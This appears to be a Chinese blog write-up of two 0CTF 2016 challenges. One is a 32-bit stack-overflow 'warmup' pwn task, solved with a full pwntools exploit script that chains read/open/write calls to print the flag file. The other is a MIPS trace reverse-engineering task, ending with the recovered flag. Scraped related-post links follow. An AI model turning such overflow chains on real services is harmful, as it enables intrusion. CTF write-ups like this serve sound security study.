0ctf-pwn_warmup-re_mips4
Warmup(2)
程序很小,读写操作直接通过int 80h系统调用完成。栈溢出漏洞很明显,能溢出20字节。提示由于沙盒的保护只能来读取/home/warmup/flag文件。那么思路就很清楚了,打开flag文件,读取flag文件到内存,写内存到标准输出。现在遇到了第一个问题,打开文件的系统调用是5,系统调用号要放在eax中,如何得到这个系统调用号以及如何得到后要立马执行系统调用打开文件,读文件到内存。
最初想的是sys_read会返回读取的字节数,sys_write会返回写的字节数,我们可以控制读写的字节数为5那么读写返回后eax就是5了,这个时候立马返回去读文件,但是发现并不能,栈的结构不对。
最后查了下alarm的返回值,发现如果连续两次调用alarm的话,第二次alarm返回第一次订的闹钟剩余的时间,因为程序执行时间很短,如果第一次alarm(5)的话,第二次alarm返回值将是5,成功得到系统调用号。这个时候就可以打开文件,并能控制返回地址到程序的开始,这样再溢出一次能读到flag,再最后一次溢出能写flag到标准输出,就能得到flag了。

exp version 2:
from pwn import *
import time
context.log_level = 'debug'
s = remote('127.0.0.1', 10001)
#s = remote('202.120.7.207', 52608) '''
time.sleep(1)
print 'warmup pid is %d' % pwnlib.util.proc.pidof('warmup')[0]
raw_input('go!')
''' read = 0x0804811D
write = 0x08048135
start = 0x080480D8
f = 0x08049200
tmp = 0x08049240
flag = 0x08049300
stackinc = 0x080481B8
openf = 0x08048122 s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(0) + p32(f) + p32(20))
s.send('/home/warmup/flag\x00') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0) + p32(openf) + p32(start) + p32(f))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(stackinc) + p32(0) + p32(tmp) + p32(20))
s.send('aaaaa') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(3) + p32(flag) + p32(30))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(write) + p32(start) + p32(1) + p32(flag) + p32(30))
s.interactive()
Trace(4)
一道mips的逆向题,给的tracelog,刚开始没仔细看汇编,一直想办法模拟执行这些代码,也尝试去查了查Unicorn使用方法,感觉很强大,但是并没有用,感觉Unicorn更像是给了shellcode后模拟执行shellcode的。
一直想知道这个tracelog使用什么生成的,看着别扭(像是intel风格的汇编),谁能告诉我?虽然没接触过mips汇编,但是查了下函数调用约定,就是想看看各个寄存器的作用,以及函数prologue和epilogue的样子,拿着一份mips指令集手册就开始分析代码,看了大概1000多行(其实很快因为大段的在循环),看到代码里面有重复调用一个函数,就决定根据函数prologue和epilogue的样子来分析下这里面总共有多少函数,每个函数的地址空间,每个函数调用了多少次。分析结果发现:2万多行的代码里,总共有3个函数,其中一个函数递归调用了131次。

地址空间0x004007d0-0x0040084c是一个函数总共调用了一次,作用是初始化内存,形成a-zA-Z0-9{}flag连续内存;地址空间0x00400858-0x004009c8是一个函数调用了131次,而且是在递归调用,分析后是在对前面形成的内存中的字符进行了排序;地址空间
0x00400770-0x004007c4是一个函数,是strlen()的实现,调用了三次。
在分析完0x00400858-0x004009c8是在递归地对内存字符中进行递归排序后,就打算根据tracelog模拟整个排序过程,模拟完的结果:

在里面'f1'代表flag的第一位,'f2'代表flag的第二位,一次类推。其实这个时候已经李最后的flag已经很近了,在主函数的最后,判断了排序好的各个字节之间的关系,我也模拟了一遍。

这下好了,就能确定每一个字节的内容了,flag就是:0ctf{tr135m1k5l96551s9l5r}
代码太丑,就不贴了。
附:
Mips指令集参考:http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html
Mips寄存器:

Mips Prologue and epilogue

0ctf-pwn_warmup-re_mips4的更多相关文章
- 0ctf – mobile – boomshakalaka writeup
作为一个web狗,一道web都没做出来Orz...做出来一道apk,纪念一下在ctf中做出的第一道apk... 首先在模拟器或者真机中安装一下apk看到是一个cocos2dx的打飞机游戏 根据题目提示 ...
- Observe the 0CTF & 0CON
I went to observe 0CTF and 0CON on 4.22 ~ 4.24 and just come back. Not only do I learn a lot from th ...
- 0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...
- 刷题记录:[0CTF 2016]piapiapia
目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...
- 0ctf 2019 zero_task
一个条件竞争的洞,以前没有接触过.比赛完研究了wp复现下. new_thread结构体如下 new_thread: thread_area size0x8 thread_area+0x8 size 0 ...
- 0CTF题中的神奇宝贝WP
前言: 今天被尘少拉去做题 然后做到一个脑洞打开的题..... 神奇宝贝!?!? 正文: 一开始来到这=-= 弱密码猜测:admin admin 验证码用calc去算 然后成功进入 第一次去做神奇宝贝 ...
- 0ctf签到题
签到题: 题目提示: flag在IRC聊天室里 开启weechat ┌─[root@sch01ar]─[~] └──╼ #weechat 创建服务器 /server add freenode8001 ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- BUUCTF |[0CTF 2016]piapiapia
步骤: nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ...
- [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}
先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...
随机推荐
- 程序猿必备的10款web前端开发插件一
1.CSS3实现的火柴燃烧Loading加载动画 这次我们要给大家分享一款非常特别的CSS3 Loading加载动画,整个Loading加载动画就好像是火柴在燃烧一样,不足的是火苗并没有那么真实,比较 ...
- poj 1986 Distance Queries(LCA)
Description Farmer John's cows refused to run in his marathon since he chose a path much too long fo ...
- android假设重写onDraw实现一个相似TextView能够显示表情和链接的控件(一)
先看效果图: 写一个超连接支持的对象: /**作为超连接显示的对象*/ public class LinkInfo implements Comparable<LinkInfo>{ pri ...
- Linux shell中的一个问题 ${}带正则匹配的表达式
目前在准备龙芯项目的PMON,在研究其编译过程的时候,看到一些make 语句,百思不得其解.后来在shell编程中看到一点资料,牵扯到Shell中的正则表达式.故记录下来,以备后来查阅. 问题: 在某 ...
- JS转换Decimal带千分号的字符串显示
var numberChars = "0123456789"; /* Convert to decimal string */ function toDecimalString(v ...
- 消除多余的row
tableviewName.tableFooterView = [[UIView alloc]initWithFrame:CGRectZero];
- ASP.NET MVC学习之路由篇
约束路由 上面我们有一个{id}用来捕获参数的,但是你也发现了它可以捕捉任何字符串等等,但是我们有时需要限制它,比如让它只能输入数字,那么我们就可以使用正则表达式去约束它. 如下修改RouteConf ...
- linux学习笔记之shell
本文参考:shell脚本学习指南 本文阅读前提为:知道shell指令,但不知道如何完成一个自动化的shell脚本. 因为编辑本文时,作者也是一个新手.所以,在一些理论上,可能存在错误.如果存在错误,希 ...
- Linux下MySql出现#1036 – Table ‘ ‘ is read only 错误解决方法
本文为转载内容,感谢原作者.原文出自:http://zhaoxiaoru39.blog.163.com/blog/static/609552192012511104730115/ 我遇到的问题是:在n ...
- MongoDB的save 和insert函数的区别
mongodb的save和insert函数都可以向collection里插入数据,但两者是有两个区别: 一.使用save函数里,如果原来的对象不存在,那他们都可以向collection里插入数据,如果 ...